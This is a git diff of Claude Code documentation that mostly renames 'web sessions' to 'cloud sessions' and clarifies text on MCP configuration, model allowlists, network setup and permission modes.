`sandbox.credentials` | A recoverable invalid entry is degraded to `mode: "deny"` with a warning; an unrecoverable one is stripped; valid entries stay enforced. See [invalid credential entries](/docs/en/settings-reference#invalid-credential-entries-in-managed-settings) | @@ -375,7 +376,7 @@ The table covers the permission, plugin, and delivery controls. For any key not | [`wslInheritsWindowsSettings`](/docs/en/settings-reference#wslinheritswindowssettings) | When set in the HKLM registry or a file under `C:\Program Files\ClaudeCode`, have WSL read the Windows policy chain, and read `/etc/claude-code` only when no managed settings file or drop-in under that directory delivers a [policy key](#how-claude-code-combines-managed-sources); the entry gives the order | - On Team and Enterprise plans, an Owner enables or disables [Remote Control](/docs/en/remote-control) and [web sessions](/docs/en/claude-code-on-the-web) organization-wide in [Claude Code admin settings](https://claude.ai/admin-settings/claude-code). Remote Control can additionally be disabled per device with the [`disableRemoteControl`](/docs/en/settings-reference#disableremotecontrol) setting. Web sessions have no per-device managed settings key. + On Team and Enterprise plans, an Owner enables or disables [Remote Control](/docs/en/remote-control) and [cloud sessions](/docs/en/claude-code-on-the-web) organization-wide in [Claude Code admin settings](https://claude.ai/admin-settings/claude-code). Remote Control can additionally be disabled per device with the [`disableRemoteControl`](/docs/en/settings-reference#disableremotecontrol) setting. Cloud sessions have no per-device managed settings key. To check whether these organization settings reached a given machine, run `claude doctor` there and read the `Organization policy` line, which says where Claude Code loaded the policy from or why it didn't load. Requires Claude Code v2.1.261 or later. In a running session, `/status` shows the same line when the policy didn't load. diff --git a/content/en/docs/claude-code/mcp-quickstart.md b/content/en/docs/claude-code/mcp-quickstart.md index 961c92107d..740a9a555c 100644 --- a/content/en/docs/claude-code/mcp-quickstart.md +++ b/content/en/docs/claude-code/mcp-quickstart.md @@ -110,7 +110,7 @@ The `claude mcp add` command writes the server's details to a configuration file `claude mcp add` works the same in every shell, including PowerShell and Command Prompt. Inside a `claude` session, use the `/mcp` command to check and manage servers you've already added. -There are other ways to add a server, each covered later on this page: +There are other ways to add a server, each with its own section: * [Add a local server](#add-a-local-server): run a program on your machine instead of connecting to a URL. * [Edit `.mcp.json` directly](#edit-mcp-json-directly): write the JSON entry yourself instead of using the command. @@ -284,7 +284,7 @@ This guide uses the `claude mcp` CLI commands, but every Claude Code surface can * **Claude Code desktop app**: add servers through the [Connectors UI](/docs/en/desktop#connect-external-tools). * **Claude Desktop chat app**: a separate app from Claude Code. To copy servers from its `claude_desktop_config.json` into the CLI, run `claude mcp add-from-claude-desktop` on macOS or WSL. * **VS Code**: see [Connect to external tools with MCP](/docs/en/vs-code#connect-to-external-tools-with-mcp). -* **Claude Code on the web**: reads `.mcp.json` from your repository. See [Edit .mcp.json directly](#edit-mcp-json-directly). +* **Cloud sessions**: commit a `.mcp.json` to your repository. See [Edit .mcp.json directly](#edit-mcp-json-directly). * **Claude.ai**: connectors you add at [claude.ai/customize/connectors](https://claude.ai/customize/connectors) load automatically in the CLI when you sign in with that account. See [Use MCP servers from Claude.ai](/docs/en/mcp#use-mcp-servers-from-claude-ai). ## Troubleshooting diff --git a/content/en/docs/claude-code/mcp.md b/content/en/docs/claude-code/mcp.md index 5876b3d20e..8b7184734c 100644 --- a/content/en/docs/claude-code/mcp.md +++ b/content/en/docs/claude-code/mcp.md @@ -139,7 +139,7 @@ claude mcp add --env AIRTABLE_API_KEY=YOUR_KEY --transport stdio airtable \ Without `--`, Claude Code would try to parse the server's flags, like `--port` above, as its own options. - `--env` accepts multiple `KEY=value` pairs. If the server name comes directly after `--env`, the CLI reads the name as another pair and rejects it, so place at least one other option between `--env` and the server name, as in the examples above. + `--env` accepts multiple `KEY=value` pairs. If the server name comes directly after `--env`, the CLI reads the name as another pair and rejects it, so place at least one other option, such as `--transport stdio`, between `--env` and the server name. ### Option 4: Add a remote WebSocket server @@ -157,7 +157,7 @@ The `type: "ws"` entry accepts the same `url`, `headers`, `headersHelper`, `time ### Add a server from setup instructions written for another client -MCP servers aren't specific to Claude Code, so a server's setup instructions may be written for Claude Desktop, Cursor, or another MCP client and give no `claude mcp add` command. To add the server anyway, look in those instructions for one of these three things: +MCP servers aren't specific to Claude Code, so a server's setup instructions may be written for Claude Desktop, Cursor, or another MCP client and give no `claude mcp add` command. To add the server anyway, look in those instructions for a URL, a launch command, or a JSON block: * **A URL** such as `https://mcp.example.com/mcp`: the server is remote. * **A launch command** such as `npx -y @example/mcp-server`: the server runs on your machine. @@ -482,7 +482,7 @@ Or inline in `plugin.json`: * If you enable or disable a plugin during a session, Claude Code connects or disconnects its MCP servers when the change applies. [Apply plugin changes without restarting](/docs/en/discover-plugins#apply-plugin-changes-without-restarting) describes when that is. In a session without an interactive terminal, `/reload-plugins` doesn't connect or disconnect plugin MCP servers; those changes take effect in your next session * When you reload, Claude Code keeps the live connections of plugin servers whose configuration is unchanged, and does the same when you [replace the session's MCP server list](/docs/en/agent-sdk/typescript#mcpsetserversresult) from the Agent SDK without naming them * When you [move the session with `/cd`](/docs/en/permissions#move-the-session-to-another-directory) on v2.1.246 or later, Claude Code connects the servers of plugins the new directory's settings enable and disconnects the servers of plugins that are no longer enabled, so you don't need to run `/reload-plugins` after the move - * In [web sessions](/docs/en/claude-code-on-the-web), an MCP call to a plugin server that isn't connected yet, such as right after an idle session wakes, starts the server on demand and waits for it to connect + * In [cloud sessions](/docs/en/claude-code-on-the-web), an MCP call to a plugin server that isn't connected yet, such as right after an idle session wakes, starts the server on demand and waits for it to connect * **Path placeholders**: `${CLAUDE_PLUGIN_ROOT}` resolves to the plugin's installation directory, `${CLAUDE_PLUGIN_DATA}` to its [persistent state](/docs/en/plugins-reference#persistent-data-directory) directory, and `${CLAUDE_PROJECT_DIR}` to the stable project root. Substitution applies to: * `stdio` servers: `command`, `args`, `env` * `http`, `sse`, and `ws` servers: `url`, `headers`, and `headersHelper`. Before v2.1.195, `headersHelper` passed the placeholder through as a literal string @@ -609,12 +609,13 @@ If you open a local session in the [Desktop app's Code tab](/docs/en/desktop#mcp Claude Code supports environment variable expansion in `.mcp.json` files, allowing teams to share configurations while maintaining flexibility for machine-specific paths and sensitive values like API keys. -**Supported syntax:** +#### Supported syntax * `${VAR}`: expands to the value of environment variable `VAR` * `${VAR:-default}`: expands to `VAR` if set, otherwise uses `default` -**Expansion locations:** +#### Expansion locations + Environment variables can be expanded in: * `command`: the server executable path @@ -623,7 +624,7 @@ Environment variables can be expanded in: * `url`: for HTTP server types * `headers`: for HTTP server authentication -**Example with variable expansion:** +#### Example with variable expansion ```json theme={null} { @@ -639,6 +640,8 @@ Environment variables can be expanded in: } ``` +#### Unset variables without a default + If a referenced environment variable isn't set and has no default value, the config still loads: Claude Code reports a missing-variable warning for that server in `claude mcp list` output and uses the unexpanded `${VAR}` text as-is. Set the variable or add a `:-default` fallback so the server starts with the value you intend. In a remote server's `url` and `headers`, some credential variables [read as empty](#credential-variables-that-read-as-empty) instead, with no warning. #### Credential variables that read as empty @@ -657,6 +660,19 @@ A name outside this set, such as `API_KEY`, expands as written. To give the serv When a remote server's `url` or `headers` references a covered variable you have set, Claude Code names it in a debug-log line. To read the line, run `claude --debug-file /tmp/claude-debug.log` and search that file for `never expanded toward a remote server`. +#### How references appear in `/mcp` and CLI output + +For a server in the local, project, or user [scope](#mcp-installation-scopes), the following surfaces show a `${VAR}` reference by name rather than as its resolved value: + +* The URL or command line in a server's `/mcp` detail view +* `claude mcp list` and `claude mcp get` output + +The `/mcp` detail view shows references this way in Claude Code v2.1.268 or later. + +For a server your organization provides through the `managedMcpServers` setting, these surfaces show [the URL's host only](/docs/en/managed-mcp#what-users-can-see-and-change). + +To check what `claude mcp list`, `claude mcp get`, and `/mcp` show when a connection fails, see [Server status detail](#server-status-detail). + ## Practical examples ### Example: Connect to GitHub for code reviews @@ -728,6 +744,8 @@ A custom server that returns a `WWW-Authenticate` header pointing to its authori Claude Code also shows a startup notice when one or more configured servers need authentication, so you don't have to open `/mcp` to discover which servers need sign-in. The notice requires Claude Code v2.1.193 or later. It counts only servers you can sign in to from Claude Code. Before v2.1.218, it also counted [claude.ai connectors](#use-mcp-servers-from-claude-ai) that weren't connected in claude.ai, which you can connect only from claude.ai settings. +The notice announces each server once and leaves it out of the count at later launches until that server has connected and needs sign-in again. `/mcp` still lists every server that needs sign-in. + In non-interactive mode there's no `/mcp` panel, so Claude Code can't run the OAuth flow for you. As of v2.1.196, when a configured server needs authentication during a `claude -p` or Agent SDK run with [tool search](#scale-with-mcp-tool-search) enabled, which is the default, Claude Code tells Claude that the server's tools are unavailable until you authorize it. Claude can then name the server that needs sign-in instead of responding as if the server weren't configured. Complete the sign-in from an interactive session with `/mcp` or `claude mcp login `. If you configured `headers.Authorization` for the server and the server rejects that header, Claude Code reports the connection as failed instead of falling back to OAuth. Check that the token is valid for the MCP endpoint, or remove the header to use the OAuth flow. @@ -1134,7 +1152,7 @@ Which settings govern a claude.ai connector depends on where your session runs, | Where the session runs | How connectors arrive | What governs them | | :------------------------------------------------------------------------------------------------------------------------- | :--------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Terminal, [VS Code](/docs/en/vs-code), [JetBrains](/docs/en/jetbrains), and [Agent SDK](/docs/en/agent-sdk/claude-code-features) sessions | Claude Code fetches them from claude.ai | The settings in this section and [managed MCP configuration](/docs/en/managed-mcp) | -| [Cloud sessions](/docs/en/claude-code-on-the-web) | The remote host passes them in | Your claude.ai organization settings, plus the [allowlist and denylist](/docs/en/managed-mcp#policy-based-control-with-allowlists-and-denylists) settings that reach the session and any `managed-mcp.json` on the host that runs it | +| [Cloud sessions](/docs/en/claude-code-on-the-web) | The cloud host passes them in | Your claude.ai organization settings, plus the [allowlist and denylist](/docs/en/managed-mcp#policy-based-control-with-allowlists-and-denylists) settings that reach the session and any `managed-mcp.json` on the host that runs it | | The [desktop app](/docs/en/desktop)'s local and SSH sessions | The desktop app delivers them in-process | `blocked` entries in your organization's [connector tool controls](#organization-controls-on-connector-tools) | [`disableClaudeAiConnectors`](#disable-claude-ai-connectors), `ENABLE_CLAUDEAI_MCP_SERVERS`, and [`allowAllClaudeAiMcps`](/docs/en/settings-reference#allowallclaudeaimcps) act only on the first row, the connectors Claude Code fetches itself. The other two rows differ from it in these ways: diff --git a/content/en/docs/claude-code/microsoft-foundry.md b/content/en/docs/claude-code/microsoft-foundry.md index 53a5752c8b..79565a3bdb 100644 --- a/content/en/docs/claude-code/microsoft-foundry.md +++ b/content/en/docs/claude-code/microsoft-foundry.md @@ -96,7 +96,7 @@ Before configuring Claude Code with Microsoft Foundry, ensure you have: First, create a Claude resource in Azure: -1. Navigate to the [Microsoft Foundry portal](https://ai.azure.com/) +1. Go to the [Microsoft Foundry portal](https://ai.azure.com/) 2. Create a new resource, noting your resource name 3. Create deployments for the Claude models, noting the deployment name you give each; you'll set these names as the model variables in step 4: diff --git a/content/en/docs/claude-code/mobile.md b/content/en/docs/claude-code/mobile.md index 15f9f3ce57..1410e33641 100644 --- a/content/en/docs/claude-code/mobile.md +++ b/content/en/docs/claude-code/mobile.md @@ -36,11 +36,11 @@ The Claude app for [iOS](https://apps.apple.com/us/app/claude-by-anthropic/id647 From the app you can start cloud sessions, drive a Claude Code session running on your computer, or message Dispatch a task. The app is the same for all three; they differ in where the work happens. -| Feature | What you connect to | When to use | -| :--------------------------------------------------- | :-------------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | -| [Claude Code on the web](/docs/en/claude-code-on-the-web) | A cloud session on cloud infrastructure, Anthropic-managed by default | Your repository is on GitHub and the task should keep running after you put your phone away. See the [web quickstart](/docs/en/web-quickstart) to set up. | -| [Remote Control](/docs/en/remote-control) | A Claude Code session running on your computer | The work needs your local filesystem, tools, or MCP servers. | -| [Dispatch](/docs/en/desktop#sessions-from-dispatch) | The Desktop app on your computer | You want to message a task and let Dispatch decide how to run it. Requires a Pro or Max plan. | +| Feature | What you connect to | When to use | +| :--------------------------------------------- | :-------------------------------------------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------- | +| [Cloud sessions](/docs/en/claude-code-on-the-web) | A session on cloud infrastructure, Anthropic-managed by default | Your repository is on GitHub and the task should keep running after you put your phone away. See the [cloud quickstart](/docs/en/web-quickstart) to set up. | +| [Remote Control](/docs/en/remote-control) | A Claude Code session running on your computer | The work needs your local filesystem, tools, or MCP servers. | +| [Dispatch](/docs/en/desktop#sessions-from-dispatch) | The Desktop app on your computer | You want to message a task and let Dispatch decide how to run it. Requires a Pro or Max plan. | If your computer will be off, use cloud sessions, which run in the cloud and continue with your laptop closed. Remote Control and Dispatch drive your own machine, so it needs to stay on with Claude Code or the Desktop app running. If your machine sleeps during a Remote Control session, Claude Code reconnects when the machine comes back online. @@ -50,9 +50,9 @@ Cloud sessions and Remote Control run from the **Code** tab. For Dispatch, which ### Start and monitor cloud sessions -Claude Code on the web runs tasks on cloud infrastructure, Anthropic-managed by default, so a session continues after you put your phone away. From the Code tab, select a repository and branch, describe the task, and submit it. Sessions persist across devices: a task you start on your laptop is ready to review from your phone, and one you start from your phone is waiting when you're back at your desk. +Cloud sessions run tasks on cloud infrastructure, Anthropic-managed by default, so a session continues after you put your phone away. From the Code tab, select a repository and branch, describe the task, and submit it. Sessions persist across devices: a task you start on your laptop is ready to review from your phone, and one you start from your phone is waiting when you're back at your desk. -Open a session in the app to check progress, answer Claude's questions, or steer it in a new direction. You can also tell Claude to [watch a pull request](/docs/en/claude-code-on-the-web#auto-fix-pull-requests) and fix CI failures or review comments as they arrive. To connect GitHub and set up your environment, follow the [web quickstart](/docs/en/web-quickstart), and see [Claude Code on the web](/docs/en/claude-code-on-the-web) for everything cloud sessions can do. +Open a session in the app to check progress, answer Claude's questions, or steer it in a new direction. You can also tell Claude to [watch a pull request](/docs/en/claude-code-on-the-web#auto-fix-pull-requests) and fix CI failures or review comments as they arrive. To connect GitHub and set up your environment, follow the [cloud quickstart](/docs/en/web-quickstart), and see [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web) for everything cloud sessions can do. ### Continue a local session with Remote Control @@ -82,7 +82,7 @@ The mobile client covers most of what a session needs, with a few limitations: ## Related resources * [Platforms and integrations](/docs/en/platforms): compare every surface Claude Code runs on -* [Claude Code on the web](/docs/en/claude-code-on-the-web): how cloud sessions run and how to move work to and from your terminal +* [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web): how cloud sessions run and how to move work to and from your terminal * [Configure cloud environments](/docs/en/cloud-environments): network access levels, environment variables, and setup scripts for cloud sessions * [Remote Control](/docs/en/remote-control): continue a local session from any device * [Sessions from Dispatch](/docs/en/desktop#sessions-from-dispatch): how Dispatch tasks become Code sessions in the Desktop app diff --git a/content/en/docs/claude-code/model-config.md b/content/en/docs/claude-code/model-config.md index 16b76f3ee3..65299b991f 100644 --- a/content/en/docs/claude-code/model-config.md +++ b/content/en/docs/claude-code/model-config.md @@ -274,12 +274,12 @@ Every surface enforces the allowlist it receives. Which delivery mechanism reach | [Server-managed settings](/docs/en/server-managed-settings) from the admin console | Enforced | Enforced | Enforced | Enforced | Not delivered | | [MDM or managed settings files](/docs/en/managed-settings#delivery-mechanisms) | Enforced | Enforced | Not delivered in Anthropic-hosted environments; in [self-hosted environments](/docs/en/self-hosted-environments), enforced from the runner image per [how Claude Code combines managed sources](/docs/en/managed-settings#how-claude-code-combines-managed-sources) | Enforced | Enforced where deployed | -* Cloud sessions, on [Claude Code on the web](/docs/en/claude-code-on-the-web) or in the Desktop app, run on Anthropic-managed VMs by default: settings deployed to your device do not reach them, so deliver the allowlist through server-managed settings. Sessions your organization routes to a [self-hosted environment](/docs/en/self-hosted-environments) run on your own compute and also read the managed settings file in the runner image. [How Claude Code combines managed sources](/docs/en/managed-settings#how-claude-code-combines-managed-sources) says when that file applies. A mid-session model switch in a cloud session is rejected when the requested model is excluded by the allowlist. Server-side rejection at session creation applies to [organization model restrictions](#organization-model-restrictions), not the `availableModels` settings key. +* [Cloud sessions](/docs/en/claude-code-on-the-web), including those you start from the Desktop app, run on Anthropic-managed VMs by default: settings deployed to your device do not reach them, so deliver the allowlist through server-managed settings. Sessions your organization routes to a [self-hosted environment](/docs/en/self-hosted-environments) run on your own compute and also read the managed settings file in the runner image. [How Claude Code combines managed sources](/docs/en/managed-settings#how-claude-code-combines-managed-sources) says when that file applies. A mid-session model switch in a cloud session is rejected when the requested model is excluded by the allowlist. When the `availableModels` list in your server-managed settings is non-empty, the server rejects a user's request to start a cloud session on a model the list excludes. * Cowork, the agentic-work tab in the Claude Desktop app, runs its sessions on Claude Code but, by design, does not receive server-managed settings from the claude.ai admin console. A managed settings file applies to Cowork sessions when it is present where the session runs; remote Cowork sessions run on Anthropic-managed VMs, where a device-deployed file is not present. * Sessions on [third-party providers](/docs/en/server-managed-settings#platform-availability) such as Amazon Bedrock, Google Cloud's Agent Platform, Microsoft Foundry, and [Claude Platform on AWS](/docs/en/claude-platform-on-aws) do not receive server-managed settings, so deliver the allowlist through MDM or managed settings files there. * Server-managed delivery also requires the session to authenticate with an [eligible login or key](/docs/en/server-managed-settings#platform-availability). Fleets that generate keys only through an [`apiKeyHelper`](/docs/en/settings-reference#apikeyhelper) script should deliver the allowlist through MDM or managed settings files. * The Desktop Code tab also hosts [SSH sessions](/docs/en/desktop#ssh-sessions), which read the managed settings file from the remote host they run on. See [Desktop managed settings](/docs/en/desktop#managed-settings). -* The model pickers on claude.ai and in the Desktop app hide or grey out models excluded by your organization's allowlist. The picker state is a convenience for users; enforcement happens in the session. +* The model pickers on claude.ai and in the Desktop app hide or grey out models excluded by your organization's allowlist. The picker state is a convenience for users; it doesn't enforce the allowlist. ### Default model behavior @@ -346,7 +346,7 @@ Organization admins on Claude Enterprise plans restrict which models members can The restriction applies when a member signs in or uses their own API key. Organization-scoped credentials, such as organization service keys, are not tied to a user, so the restriction does not apply to them. -The Claude Console has no model restriction control. Organizations without a Claude Enterprise plan, including those whose members authenticate through the Anthropic API, restrict models with [`availableModels`](#restrict-model-selection) in [managed settings](/docs/en/managed-settings) instead, adding [`enforceAvailableModels`](#enforce-the-allowlist-for-the-default-model) to cover the Default option. These settings are enforced by Claude Code itself, not by the server. +The Claude Console has no model restriction control. Organizations without a Claude Enterprise plan, including those whose members authenticate through the Anthropic API, restrict models with [`availableModels`](#restrict-model-selection) in [managed settings](/docs/en/managed-settings) instead, adding [`enforceAvailableModels`](#enforce-the-allowlist-for-the-default-model) to cover the Default option. [Surface coverage](#surface-coverage) says how each surface receives and enforces these settings. A restricted model is hidden from the `/model` picker. Selecting it by name with `--model`, the `ANTHROPIC_MODEL` environment variable, or the `model` setting shows the notice `Model "" is restricted by your organization's settings. Using instead.` and the session starts on an allowed model. Typing `/model ` for a restricted model is rejected with `Model '' is restricted by your organization's settings. Run /model to choose a different model.` and the session keeps its current model. @@ -497,7 +497,7 @@ Some cases behave differently: * When the flagged category has no fallback model, such as a biology flag on Opus 5, Claude Code doesn't show the prompt and the request ends with the refusal. * If both models flag the same request, you can edit the prompt and retry, or start a new session. -* On mobile [Claude Code on the web](/docs/en/claude-code-on-the-web) sessions, editing and retrying is not supported. Switch models, or continue the session from a desktop browser or the desktop app. +* In [cloud sessions](/docs/en/claude-code-on-the-web) on the mobile app, editing and retrying is not supported. Switch models, or continue the session from a desktop browser or the desktop app. * In [non-interactive mode](/docs/en/cli-reference#cli-flags) and SDK integrations that can't show the prompt, a flagged request ends the turn with a refusal instead. * When the fallback target is blocked by [`availableModels`](#restrict-model-selection), Claude Code doesn't show the prompt. The flagged request ends with the refusal, the same as automatic fallback when the target is blocked. diff --git a/content/en/docs/claude-code/network-config.md b/content/en/docs/claude-code/network-config.md index bc6cac4b97..1286adf182 100644 --- a/content/en/docs/claude-code/network-config.md +++ b/content/en/docs/claude-code/network-config.md @@ -244,7 +244,7 @@ Anthropic checks connections to `bridge.claudeusercontent.com` against your orga ### GitHub allow lists and firewalls -[Claude Code on the web](/docs/en/claude-code-on-the-web) in Anthropic-hosted environments and [Code Review](/docs/en/code-review) connect to your repositories from Anthropic-managed infrastructure; sessions in a [self-hosted environment](/docs/en/self-hosted-environments) connect from inside your network, unless the runner opts into the [Anthropic git proxy](/docs/en/self-hosted-environments-deploy#use-the-anthropic-git-proxy), which fetches from Anthropic's side. +[Cloud sessions](/docs/en/claude-code-on-the-web) in Anthropic-hosted environments and [Code Review](/docs/en/code-review) connect to your repositories from Anthropic-managed infrastructure; sessions in a [self-hosted environment](/docs/en/self-hosted-environments) connect from inside your network, unless the runner opts into the [Anthropic git proxy](/docs/en/self-hosted-environments-deploy#use-the-anthropic-git-proxy), which fetches from Anthropic's side. If your GitHub Enterprise Cloud organization restricts access by IP address, enable [IP allow list inheritance for installed GitHub Apps](https://docs.github.com/en/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization#allowing-access-by-github-apps) and also [add an allow list entry](https://docs.github.com/en/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization#adding-an-allowed-ip-address) for Anthropic's [outbound IP addresses](https://platform.claude.com/docs/en/api/ip-addresses#outbound-ip-addresses). Inheritance covers only the requests the Claude GitHub App makes as an installation, not the requests it makes on your users' behalf. For other firewalls, see the [Anthropic API IP addresses](https://platform.claude.com/docs/en/api/ip-addresses). diff --git a/content/en/docs/claude-code/overview.md b/content/en/docs/claude-code/overview.md index b620296bee..b510dbb4a9 100644 --- a/content/en/docs/claude-code/overview.md +++ b/content/en/docs/claude-code/overview.md @@ -100,7 +100,7 @@ Claude Code runs on several surfaces: the terminal, IDE extensions, a desktop ap - A standalone app for running Claude Code outside your IDE or terminal. Review diffs visually, run multiple sessions side by side, schedule recurring tasks, and kick off cloud sessions. + A standalone app for running Claude Code outside your IDE or terminal. Review diffs visually, run multiple sessions side by side, schedule recurring tasks, and start cloud sessions. Download and install: @@ -119,7 +119,7 @@ Claude Code runs on several surfaces: the terminal, IDE extensions, a desktop ap Start coding at [claude.ai/code](https://claude.ai/code). - [Get started on the web →](/docs/en/web-quickstart) + [Get started →](/docs/en/web-quickstart) @@ -208,7 +208,7 @@ Here are some of the ways you can use Claude Code: * Step away from your desk and keep working from your phone or any browser with [Remote Control](/docs/en/remote-control) * Message [Dispatch](/docs/en/desktop#sessions-from-dispatch) a task from your phone and open the Desktop session it creates - * Kick off a long-running task on the [web](/docs/en/claude-code-on-the-web) or the [Claude mobile app](/docs/en/mobile), then pull it into your terminal with `claude --teleport`. Teleport requires a claude.ai subscription. + * Start a long-running task on the [web](/docs/en/claude-code-on-the-web) or the [Claude mobile app](/docs/en/mobile), then pull it into your terminal with `claude --teleport`. Teleport requires a claude.ai subscription. * Run `/desktop` to continue your current terminal session in the [Desktop app](/docs/en/desktop), where you can review diffs visually. The `/desktop` handoff requires a claude.ai subscription. Available on macOS and x64 Windows. * Route tasks from team chat: mention `@Claude` in [Slack](/docs/en/slack) with a bug report and get a pull request back @@ -220,17 +220,17 @@ Each [surface](/docs/en/glossary#surface) connects to the same underlying Claude Beyond the [Terminal](/docs/en/quickstart), [VS Code](/docs/en/vs-code), [JetBrains](/docs/en/jetbrains), [Desktop](/docs/en/desktop), and [Web](/docs/en/claude-code-on-the-web) surfaces above, Claude Code integrates with CI/CD, chat, and browser workflows: -| I want to... | Best option | -| ------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- | -| Continue a local session from my phone or another device | [Remote Control](/docs/en/remote-control) | -| Push events from Telegram, Discord, iMessage, or my own webhooks into a session | [Channels](/docs/en/channels) | -| Start a task locally, continue on mobile | [`claude --cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-web), then the [Claude mobile app](/docs/en/mobile) | -| Run Claude on a recurring schedule | [Routines](/docs/en/routines) or [Desktop scheduled tasks](/docs/en/desktop-scheduled-tasks) | -| Automate PR reviews and issue triage | [GitHub Actions](/docs/en/github-actions) or [GitLab CI/CD](/docs/en/gitlab-ci-cd) | -| Get automatic code review on every PR | [GitHub Code Review](/docs/en/code-review) | -| Route bug reports from Slack to pull requests | [Slack](/docs/en/slack) | -| Debug live web applications | [Chrome](/docs/en/chrome) | -| Build custom agents for your own workflows | [Agent SDK](/docs/en/agent-sdk/overview) | +| I want to... | Best option | +| ------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------- | +| Continue a local session from my phone or another device | [Remote Control](/docs/en/remote-control) | +| Push events from Telegram, Discord, iMessage, or my own webhooks into a session | [Channels](/docs/en/channels) | +| Start a task locally, continue on mobile | [`claude --cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-cloud), then the [Claude mobile app](/docs/en/mobile) | +| Run Claude on a recurring schedule | [Routines](/docs/en/routines) or [Desktop scheduled tasks](/docs/en/desktop-scheduled-tasks) | +| Automate PR reviews and issue triage | [GitHub Actions](/docs/en/github-actions) or [GitLab CI/CD](/docs/en/gitlab-ci-cd) | +| Get automatic code review on every PR | [GitHub Code Review](/docs/en/code-review) | +| Route bug reports from Slack to pull requests | [Slack](/docs/en/slack) | +| Debug live web applications | [Chrome](/docs/en/chrome) | +| Build custom agents for your own workflows | [Agent SDK](/docs/en/agent-sdk/overview) | ## Next steps diff --git a/content/en/docs/claude-code/permission-modes.md b/content/en/docs/claude-code/permission-modes.md index bef51773bf..68182274f0 100644 --- a/content/en/docs/claude-code/permission-modes.md +++ b/content/en/docs/claude-code/permission-modes.md @@ -40,7 +40,9 @@ Claude Code doesn't auto-approve the following in any mode, including `bypassPer * Tools that require user interaction: the built-in `AskUserQuestion` tool and MCP tools marked [`requiresUserInteraction`](/docs/en/mcp#require-approval-for-a-specific-tool) * `rm` and `rmdir` removals targeting a [critical path](#critical-paths), which no allow rule or `PreToolUse` hook `"allow"` approves * The [cross-session messaging safeguards](#skip-all-checks-with-bypasspermissions-mode) -* Reads outside the working directories while [`permissions.blockReadsOutsideWorkingDirectories`](/docs/en/settings-reference#permissions-blockreadsoutsideworkingdirectories) is on: recognized file-reading Bash commands and any [unsandboxed retry](/docs/en/sandboxing#the-unsandboxed-retry-escape-hatch) that needs approval to run outside the sandbox prompt even in auto mode and `bypassPermissions` mode. Requires Claude Code v2.1.257 or later +* Reads outside the working directories while [`permissions.blockReadsOutsideWorkingDirectories`](/docs/en/settings-reference#permissions-blockreadsoutsideworkingdirectories) is on: recognized file-reading Bash commands prompt even in auto mode and `bypassPermissions` mode, and so does any [unsandboxed retry](/docs/en/sandboxing#the-unsandboxed-retry-escape-hatch) that needs approval to run outside the sandbox. Requires Claude Code v2.1.257 or later. + + A command the shell parser can't trace, such as one that changes directory more than once or runs a subshell, prompts the same way even when it names no outside path. This prompt doesn't apply when the command runs in the [sandbox](/docs/en/sandboxing) and the sandbox enforces the block. ## Common setups @@ -52,10 +54,10 @@ Permission modes decide whether Claude asks before an action, and the [Bash sand | Iterate locally with fewer prompts, without a classifier | Manual mode plus the Bash sandbox in [auto-allow mode](/docs/en/sandboxing#sandbox-modes): `claude --permission-mode default`, then run `/sandbox` and select auto-allow | The built-in Bash sandbox, on macOS, Linux, and WSL2 | Deny rules still apply, and ask rules that name a command, such as `Bash(git push *)`, still prompt. To turn the sandbox on from a settings file instead, set [`sandbox.enabled`](/docs/en/settings-reference#sandbox-enabled) to `true` | | Explore before changing anything | `claude --permission-mode plan` | None | Claude Code blocks edits until you [approve a plan](#review-and-approve-a-plan) | | Work hands-off in auto mode | `claude --permission-mode auto`, the [built-in starting permission mode](#which-mode-a-session-starts-in) on Pro, Max, and Team | None; a sandbox or container adds defense in depth | Requires a [supported model](#eliminate-prompts-with-auto-mode), and your organization can [turn auto mode off](#eliminate-prompts-with-auto-mode) | -| Run in CI with an exact allowlist | `claude -p "run the test suite" --permission-mode dontAsk --allowedTools "Bash(npm test)" "Read"` | None beyond what your CI runner provides | [Claude Code on the web](/docs/en/claude-code-on-the-web) ignores `dontAsk` from settings files | -| Run fully unattended inside a container | `claude -p "" --dangerously-skip-permissions` | Required: a container, VM, or the [sandbox runtime](/docs/en/sandbox-environments#sandbox-runtime); on Linux and macOS, run it as a [non-root user](#skip-all-checks-with-bypasspermissions-mode) | Claude Code on the web ignores this mode from settings files. In this `-p` run, the [few calls that would still prompt](#skip-all-checks-with-bypasspermissions-mode) are denied instead | +| Run in CI with an exact allowlist | `claude -p "run the test suite" --permission-mode dontAsk --allowedTools "Bash(npm test)" "Read"` | None beyond what your CI runner provides | [Cloud sessions](/docs/en/claude-code-on-the-web) ignore `dontAsk` from settings files | +| Run fully unattended inside a container | `claude -p "" --dangerously-skip-permissions` | Required: a container, VM, or the [sandbox runtime](/docs/en/sandbox-environments#sandbox-runtime); on Linux and macOS, run it as a [non-root user](#skip-all-checks-with-bypasspermissions-mode) | Cloud sessions ignore this mode from settings files. In this `-p` run, the [few calls that would still prompt](#skip-all-checks-with-bypasspermissions-mode) are denied instead | -The Bash sandbox and auto mode work independently and combine, except in plan mode, where [auto-allow doesn't widen approvals](/docs/en/sandboxing#sandbox-modes). For the full interaction, see [How sandboxing relates to permissions and permission modes](/docs/en/sandboxing#how-sandboxing-relates-to-permissions-and-permission-modes) and [How isolation relates to permission modes](/docs/en/sandbox-environments#how-isolation-relates-to-permission-modes). +The Bash sandbox and auto mode work independently and combine, with the exceptions listed under [Sandbox modes](/docs/en/sandboxing#sandbox-modes). For the full interaction, see [How sandboxing relates to permissions and permission modes](/docs/en/sandboxing#how-sandboxing-relates-to-permissions-and-permission-modes) and [How isolation relates to permission modes](/docs/en/sandbox-environments#how-isolation-relates-to-permission-modes).

